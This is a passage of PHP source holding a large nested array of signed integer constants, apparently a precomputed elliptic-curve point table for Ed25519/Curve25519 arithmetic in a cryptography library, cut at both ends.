                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
